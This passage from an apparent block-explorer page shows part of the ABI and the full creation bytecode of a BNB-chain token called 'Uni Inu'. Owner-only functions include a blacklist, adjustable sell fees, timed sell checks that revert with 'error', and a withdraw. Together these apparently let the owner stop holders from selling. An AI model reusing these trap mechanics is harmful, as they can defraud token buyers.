internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"theRedistribution","type":"uint256"}],"name":"setTheRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526100106009600a610928565b61001e906305f5e10061093d565b600c819055600d555f600e81905561012c600f55604080516080808201835283825260208083018590528284018590526060928301859052601785905560188590556019859055601a85905583519182018452848252810184905291820183905201819052601b819055601c819055601d819055601e55602480546001600160a01b03191673cf3e75b308f6c8ed6c985ff36018f19f92cbae2217905560258054630101000160a01b63ffff00ff60a01b199091161790553480156100e1575f80fd5b5060405161346338038061346383398101604081905261010091610954565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d5460035f6101575f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561017981610780565b600160065f61018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260068552838220805487166001908117909155602554841683528483208054881682179055602454909316825283822080548716841790557fae52d8bff2f3e05f47ff67ef7a53bcefb2933c8cbe828e913ff24c62ac4f753b80548716841790557f3a636132081579c8527ac146cf7a7b13fedfe31fdd2184ba0369fa5c8eae1d6280548716841790557f7c8b901fbc369884795c52f2ed5631478b7ef5abeeba23a88e9c57879eeba6e980548716841790557f390f78e423c56070be6d90cf9ed5e5fc10c818d51d2baa650a8895a58b57db7e80548716841790557fe2d48d3bae007a5c2288bc2ca150fa106986f8b9572924e49006b1a7135bd8c080548716841790557f587e51da881ff92fea3b1ba3b687715d9c398994c8f92a8c55e481bebb86982980548716841790557f7e6c30c3e6be5d95acd0d99c2043e430233ab0a34fbbe207ac75e48977d8c8d080548716841790557f283661eff22f1eecf24a674cc348b132c10ebff643b60a981094a4683aa8bcb180548716841790557fe56132d1bafb9531ad00591c4c91dc815327b7d9413ebb997cc4cb28160d331e80548716841790557f5012a820920a3b6e15a71f5b3142954b8a245e887e6e1aa17b2794bc97d0ca0e80548716841790557f4c9e7109990386b741c99dddda9f7b059fe703812b474f66f874cb34c0c57fe680548716841790557f30158fe6242e1510b2c0d8a6626710f89a7911eca56dba17e2a80dd9e051fba480548716841790557f6a6e3550ab2941ab7ebeb30229120e2165465b6fa286481079473c386df918a780548716841790557ff39fd2489443d70a42d841d5b6056e0d7f83ca8c4525a6d4a81ac8cef3f21ae980548716841790557f482fb83c5904530068bbcf320651610803d812c52af29b49178ef407ad57410680548716841790557f31f2b5e357767a2132c3a566ee2b35c148e5438501b960036b0a7e62d6c9bb0a80548716841790557f06b7d7f97d0e7a77bc60723306a05d43b5d37ea2a7dff26267d232639d43d12e80548716841790557f445fdde6018acbecdecbf6d063fda53c3db8c5c81f9205b24fd9fa949e3b63ed80548716841790557f2c2315e65a6a20ca397c8df133662463326f485d3ffef87ace2be8b07cfad95480548716841790557fd2ecd921cf8160e6912906496f4d504a30304cc5bfe0cb96b7a431e30aa26fd480548716841790557ffedf3bf547aaf0b4b5b46f5023f1435dcc52435463cf155fc25d4df683461b3a80548716841790557ff990e9d574a2f5678d6cafc830a852a1497f30d4217d47f39c8efa89d962961180548716841790557fa70a331f170c672f499263d4e03310759af7ccdbc8a8e1e55a71bd201ffef03f80548716841790557f247a7702d6667fc2d41ba2f9fc515b5b996e35a5fe89441cd026be10e090010f80548716841790557fff00c9f727839f389ed6bf767ff7a54ddafa0c3dfc06b35fcfa4df28ff32f88980548716841790557fe7f2f51da94971657d322894f84c1020ab13b218a6b559e220c15ef9149fbaaf80548716841790557fedf2851622e04dd7acb5dbcec2f361ed06aa7493a09dcfaac0c24bbd357d54af80548716841790557f91c064d95d6d5174182a7e7a5456826fe3e987cfa5511a4528b6f843b5e293d280548716841790557f88fdffb0e9aa6a055ce095b34945bbe210d55f4d6ca300c3c8f8986456edfa7380548716841790557fd2f39eadfb963511c15cd6e8865cb518278bd706189f7f8a0b188a212f8c20b68054871684179055808252600790945291822080549094168117909355600b8054938401815590527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db990910180546001600160a01b031916909117905561072c5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405161077291815260200190565b60405180910390a35061098d565b602580546001600160a01b0319166001600160a01b0383161790556107a76009600a610928565b6107b7906509184e72a00061093d565b6001600160a01b0382165f90815260036020526040812080549091906107de90849061097a565b909155506107f090506009600a610928565b610800906509184e72a00061093d565b6001600160a01b0382165f908152600460205260408120805490919061082790849061097a565b909155505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561087e578085048111156108625761086261082f565b600184161561087057908102905b60019390931c928002610847565b935093915050565b5f8261089457506001610922565b816108a057505f610922565b81600181146108b657600281146108c0576108dc565b6001915050610922565b60ff8411156108d1576108d161082f565b50506001821b610922565b5060208310610133831016604e8410600b84101617156108ff575081810a610922565b61090b5f198484610843565b805f190482111561091e5761091e61082f565b0290505b92915050565b5f61093660ff841683610886565b9392505050565b80820281158282048414176109225761092261082f565b5f60208284031215610964575f80fd5b81516001600160a01b0381168114610936575f80fd5b808201808211156109225761092261082f565b612ac98061099a5f395ff3fe6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109a6578063f6d7eade146109c5578063f9214005146109e4578063ff89757014610a03575f80fd5b8063ea2f0b371461093d578063ecbde40c1461095c578063efbe389a14610987575f80fd5b8063bc0ad5a314610848578063c2b7bbb614610868578063c49b9a8014610887578063dd62ed3e146108a6578063e2255e29146108ea578063e7e6451914610909575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107c0578063a457c2d7146107df578063a8be9a58146107fe578063a9059cbb14610829575f80fd5b806395d89b41146103015780639b26c923146107895780639ba5e4d51461079e575f80fd5b8063715018a61461069e57806373cafdc2146106b2578063786564c4146106d457806388f82020146106f35780638b7afe2e1461072a5780638da5cb5b14610759575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105e75780635a1afc561461061e57806370a082311461063d578063713898cd1461065c575f80fd5b80634a74bb021461058957806351ecfeae146105a957806352390c02146105c8575f80fd5b80633ccfd60b146104c55780634359a871146104d9578063437823ec1461050d5780634549b0391461052c5780634a17beb11461054b5780634a49ac4c1461056a575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc146104495780633685d41914610468578063370f0a601461048757806339509351146104a6575f80fd5b80632d838119146103fa578063313ce5671461041957806331b72ff014610434575f80fd5b806306fdde0314610301578063095ea7b31461033f57806318160ddd1461036e5780631cdd3be31461038c57806323b872dd146103ba578063275d53ce146103d9575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b506040805180820182526007815266556e6920496e7560c81b60208201529051610336919061274b565b60405180910390f35b34801561034a575f80fd5b5061035e61035936600461279b565b610a22565b6040519015158152602001610336565b348015610379575f80fd5b50600c545b604051908152602001610336565b348015610397575f80fd5b5061035e6103a63660046127c3565b600a6020525f908152604090205460ff1681565b3480156103c5575f80fd5b5061035e6103d43660046127dc565b610a38565b3480156103e4575f80fd5b506103f86103f3366004612825565b610aab565b005b348015610405575f80fd5b5061037e61041436600461283e565b610afb565b348015610424575f80fd5b5060405160098152602001610336565b34801561043f575f80fd5b5061037e600f5481565b348015610454575f80fd5b506103f861046336600461283e565b610b65565b348015610473575f80fd5b506103f86104823660046127c3565b610b93565b348015610492575f80fd5b506103f86104a13660046127c3565b610d37565b3480156104b1575f80fd5b5061035e6104c036600461279b565b610e65565b3480156104d0575f80fd5b506103f8610e9b565b3480156104e4575f80fd5b5061037e6104f33660046127c3565b6001600160a01b03165f9081526008602052604090205490565b348015610518575f80fd5b506103f86105273660046127c3565b610f4d565b348015610537575f80fd5b5061037e610546366004612855565b610f99565b348015610556575f80fd5b506103f861056536600461287f565b611020565b348015610575575f80fd5b506103f86105843660046127c3565b6110b3565b348015610594575f80fd5b5060255461035e90600160b81b900460ff1681565b3480156105b4575f80fd5b506103f86105c33660046128f0565b6110fc565b3480156105d3575f80fd5b506103f86105e23660046127c3565b611139565b3480156105f2575f80fd5b5061035e6106013660046127c3565b6001600160a01b03165f9081526006602052604090205460ff1690565b348015610629575f80fd5b506103f861063836600461283e565b611286565b348015610648575f80fd5b5061037e6106573660046127c3565b6112b4565b348015610667575f80fd5b50601b54601c54601d54601e5461067e9392919084565b604080519485526020850193909352918301526060820152608001610336565b3480156106a9575f80fd5b506103f861130a565b3480156106bd575f80fd5b50601754601854601954601a5461067e9392919084565b3480156106df575f80fd5b506103f86106ee3660046128f0565b61137b565b3480156106fe575f80fd5b5061035e61070d3660046127c3565b6001600160a01b03165f9081526007602052604090205460ff1690565b348015610735575f80fd5b50601554601654610744919082565b60408051928352602083019190915201610336565b348015610764575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610336565b348015610794575f80fd5b5061037e600e5481565b3480156107a9575f80fd5b5060115460125460135460145461067e9392919084565b3480156107cb575f80fd5b5061035e6107da36600461291f565b6113b8565b3480156107ea575f80fd5b5061035e6107f936600461279b565b611427565b348015610809575f80fd5b5061037e6108183660046127c3565b60086020525f908152604090205481565b348015610834575f80fd5b5061035e61084336600461279b565b611474565b348015610853575f80fd5b5060255461035e90600160a01b900460ff1681565b348015610873575f80fd5b506103f86108823660046127c3565b611494565b348015610892575f80fd5b506103f86108a1366004612825565b61154f565b3480156108b1575f80fd5b5061037e6108c0366004612951565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b3480156108f5575f80fd5b506103f8610904366004612825565b6115d0565b348015610914575f80fd5b5061037e6109233660046127c3565b6001600160a01b03165f9081526009602052604090205490565b348015610948575f80fd5b506103f86109573660046127c3565b611617565b348015610967575f80fd5b5061037e6109763660046127c3565b60096020525f908152604090205481565b348015610992575f80fd5b50602354610771906001600160a01b031681565b3480156109b1575f80fd5b506103f86109c03660046127c3565b611660565b3480156109d0575f80fd5b50602454610771906001600160a01b031681565b3480156109ef575f80fd5b50601054610771906001600160a01b031681565b348015610a0e575f80fd5b506103f8610a1d36600461287f565b611747565b5f610a2e3384846117d5565b5060015b92915050565b5f610a448484846118f8565b610a958433610a9085604051806060016040528060288152602001612a47602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b69565b6117d5565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610add5760405162461bcd60e51b8152600401610ad490612979565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610ad4565b5090565b5f546001600160a01b03163314610b8e5760405162461bcd60e51b8152600401610ad490612979565b600f55565b5f546001600160a01b03163314610bbc5760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381165f9081526007602052604090205460ff16610c235760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610ad4565b5f5b600b54811015610d3357816001600160a01b0316600b8281548110610c4c57610c4c6129ae565b5f918252602090912001546001600160a01b031603610d2b57600b8054610c75906001906129d6565b81548110610c8557610c856129ae565b5f91825260209091200154600b80546001600160a01b039092169183908110610cb057610cb06129ae565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d0757610d076129e9565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c25565b5050565b5f546001600160a01b03163314610d605760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381165f9081526007602052604090205460ff16610e36576001600160a01b0381165f908152600760209081526040808320805460ff19166001179055600390915290205415610deb576001600160a01b0381165f90815260036020526040902054610dd290610afb565b6001600160a01b0382165f908152600460205260409020555b600b80546001810182555f919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d339082611b94565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a2e918590610a909086906129fd565b5f546001600160a01b03163314610ec45760405162461bcd60e51b8152600401610ad490612979565b60405147905f90339083908381818185875af1925050503d805f8114610f05576040519150601f19603f3d011682016040523d82523d5f602084013e610f0a565b606091505b5050905080610d335760405162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b6044820152606401610ad4565b5f546001600160a01b03163314610f765760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610fec5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610ad4565b81611007575f610ffd846001611ba8565b519150610a329050565b5f611013846001611ba8565b602001519150610a329050565b5f546001600160a01b031633146110495760405162461bcd60e51b8152600401610ad490612979565b5f5b818110156110ae57600160065f85858581811061106a5761106a6129ae565b905060200201602081019061107f91906127c3565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905560010161104b565b505050565b5f546001600160a01b031633146110dc5760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146111255760405162461bcd60e51b8152600401610ad490612979565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111625760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381165f9081526007602052604090205460ff16156111ca5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610ad4565b6001600160a01b0381165f9081526003602052604090205415611221576001600160a01b0381165f9081526003602052604090205461120890610afb565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112af5760405162461bcd60e51b8152600401610ad490612979565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff16156112ef57506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146113335760405162461bcd60e51b8152600401610ad490612979565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146113a45760405162461bcd60e51b8152600401610ad490612979565b601b93909355601c91909155601d55601e55565b5f835f036113c757505f610aa4565b5f6113d285426129d6565b9050600f5481036113e7576001915050610aa4565b805f0361140c576010546001600160a01b0384811691161461140c575f915050610aa4565b83811161141d576001915050610aa4565b505f949350505050565b5f610a2e3384610a9085604051806060016040528060258152602001612a6f60259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b69565b5f6114803384846118f8565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114bd5760405162461bcd60e51b8152600401610ad490612979565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b031633146115785760405162461bcd60e51b8152600401610ad490612979565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906115c590831515815260200190565b60405180910390a150565b5f546001600160a01b031633146115f95760405162461bcd60e51b8152600401610ad490612979565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146116405760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b031633146116895760405162461bcd60e51b8152600401610ad490612979565b6001600160a01b0381166116ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ad4565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117705760405162461bcd60e51b8152600401610ad490612979565b5f5b818110156110ae576001600a5f858585818110611791576117916129ae565b90506020020160208101906117a691906127c3565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611772565b6001600160a01b0383166118375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ad4565b6001600160a01b0382166118985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ad4565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561193857506001600160a01b0382165f908152600a602052604090205460ff16155b6119845760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610ad4565b6001600160a01b0383166119e85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ad4565b6001600160a01b038216611a4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ad4565b5f8111611aab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610ad4565b611ab4836112b4565b811115611b1c5760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610ad4565b6001600160a01b0383165f908152600660205260409020546110ae9084908490849060ff1680611b6357506001600160a01b0386165f9081526006602052604090205460ff165b15611bf0565b5f8184841115611b8c5760405162461bcd60e51b8152600401610ad4919061274b565b505050900390565b5f610aa4836001600160a01b03841661219e565b611bb06126fc565b611bba8383612281565b9050611bcf818484611bca61235f565b612380565b60a08701526080860152606085015260408401526020830152815292915050565b8015611db7576023546001600160a01b0390811690851603611cc2575f546001600160a01b03858116911614801590611c3657505f546001600160a01b03848116911614155b8015611c4c57506001600160a01b038316600114155b15611c8a576001600160a01b0383165f908152600860205260408120549003611c8a576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611e2f565b5f546001600160a01b03858116911614801590611cec57505f546001600160a01b03848116911614155b8015611d0257506001600160a01b038316600114155b15611d7f576001600160a01b0384165f90815260086020526040812054611d2c90600e54876113b8565b905080611d635760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610ad4565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611e2f565b6001600160a01b0384165f9081526006602052604090205460ff1615611df357601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611e2f57601080546001600160a01b0319166001600160a01b0385161790555b5f611e3a8383611ba8565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e7c57506001600160a01b0384165f9081526007602052604090205460ff16155b15611ec1576001600160a01b0385165f90815260046020526040902054611ea49084906129d6565b6001600160a01b0386165f90815260046020526040902055611ffe565b6001600160a01b0385165f9081526007602052604090205460ff16158015611f0057506001600160a01b0384165f9081526007602052604090205460ff165b15611f495760c08101516001600160a01b0385165f90815260046020526040902054611f2c91906129fd565b6001600160a01b0385165f90815260046020526040902055611ffe565b6001600160a01b0385165f9081526007602052604090205460ff168015611f8757506001600160a01b0384165f9081526007602052604090205460ff165b15611ffe576001600160a01b0385165f90815260046020526040902054611faf9084906129d6565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611fe591906129fd565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f9081526003602052604090205461202291906129d6565b6001600160a01b038087165f908152600360209081526040808320949094558401519187168152919091205461205891906129fd565b6001600160a01b0385165f90815260036020526040902055811561211e5761208881604001518260e001516123f7565b61209b8160600151826101000151612425565b6120ae81608001518261012001516124c0565b6120c18160a001518261014001516124ed565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83610120015184610100015161210c91906129fd565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161216791815260200190565b60405180910390a361217a60018561252c565b50612184856112b4565b5f0361219757612195600186611b94565b505b5050505050565b5f8181526001830160205260408120548015612278575f6121c06001836129d6565b85549091505f906121d3906001906129d6565b9050818114612232575f865f0182815481106121f1576121f16129ae565b905f5260205f200154905080875f018481548110612211576122116129ae565b5f918252602080832090910192909255918252600188019052604090208390555b8554869080612243576122436129e9565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a32565b5f915050610a32565b6122896126fc565b8161229a5760c08101839052610a32565b601f546064906122aa9085612a10565b6122b49190612a27565b60e08201526020546064906122c99085612a10565b6122d39190612a27565b6101008201526021546064906122e99085612a10565b6122f39190612a27565b6101208201526022546064906123099085612a10565b6123139190612a27565b610140820181905261012082015161010083015160e084015161233690876129d6565b61234091906129d6565b61234a91906129d6565b61235491906129d6565b60c082015292915050565b5f805f61236a612540565b90925090506123798183612a27565b9250505090565b506001825f80808080876123a157508493505f9250829150819050806123ea565b5050505060e08601516101008701516101208801516101408901518082846123c9878a6129d6565b6123d391906129d6565b6123dd91906129d6565b6123e791906129d6565b94505b9499939850945094509450565b81600d5461240591906129d6565b600d55601180548291905f9061241c9084906129fd565b90915550505050565b8060155f015f82825461243891906129fd565b9091555050601280548291905f906124519084906129fd565b9091555050305f908152600360205260409020546124709083906129fd565b305f9081526003602090815260408083209390935560079052205460ff1615610d3357305f908152600460205260409020546124ad9082906129fd565b305f908152600460205260409020555050565b8060156001015f8282546124d491906129fd565b9091555050601380548291905f906124519084906129fd565b8060116003015f82825461250191906129fd565b9091555050600c546125149082906129d6565b600c55600d546125259083906129d6565b600d555050565b5f610aa4836001600160a01b0384166126b0565b600d54600c545f918291825b600b5481101561267f578260035f600b848154811061256d5761256d6129ae565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806125d557508160045f600b84815481106125af576125af6129ae565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156125eb57600d54600c54945094505050509091565b60035f600b8381548110612601576126016129ae565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461262f90846129d6565b925060045f600b8381548110612647576126476129ae565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461267590836129d6565b915060010161254c565b50600c54600d546126909190612a27565b8210156126a757600d54600c549350935050509091565b90939092509050565b5f8181526001830160205260408120546126f557508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a32565b505f610a32565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114612796575f80fd5b919050565b5f80604083850312156127ac575f80fd5b6127b583612780565b946020939093013593505050565b5f602082840312156127d3575f80fd5b610aa482612780565b5f805f606084860312156127ee575f80fd5b6127f784612780565b925061280560208501612780565b929592945050506040919091013590565b80358015158114612796575f80fd5b5f60208284031215612835575f80fd5b610aa482612816565b5f6020828403121561284e575f80fd5b5035919050565b5f8060408385031215612866575f80fd5b8235915061287660208401612816565b90509250929050565b5f8060208385031215612890575f80fd5b823567ffffffffffffffff8111156128a6575f80fd5b8301601f810185136128b6575f80fd5b803567ffffffffffffffff8111156128cc575f80fd5b8560208260051b84010111156128e0575f80fd5b6020919091019590945092505050565b5f805f8060808587031215612903575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60608486031215612931575f80fd5b833592506020840135915061294860408501612780565b90509250925092565b5f8060408385031215612962575f80fd5b61296b83612780565b915061287660208401612780565b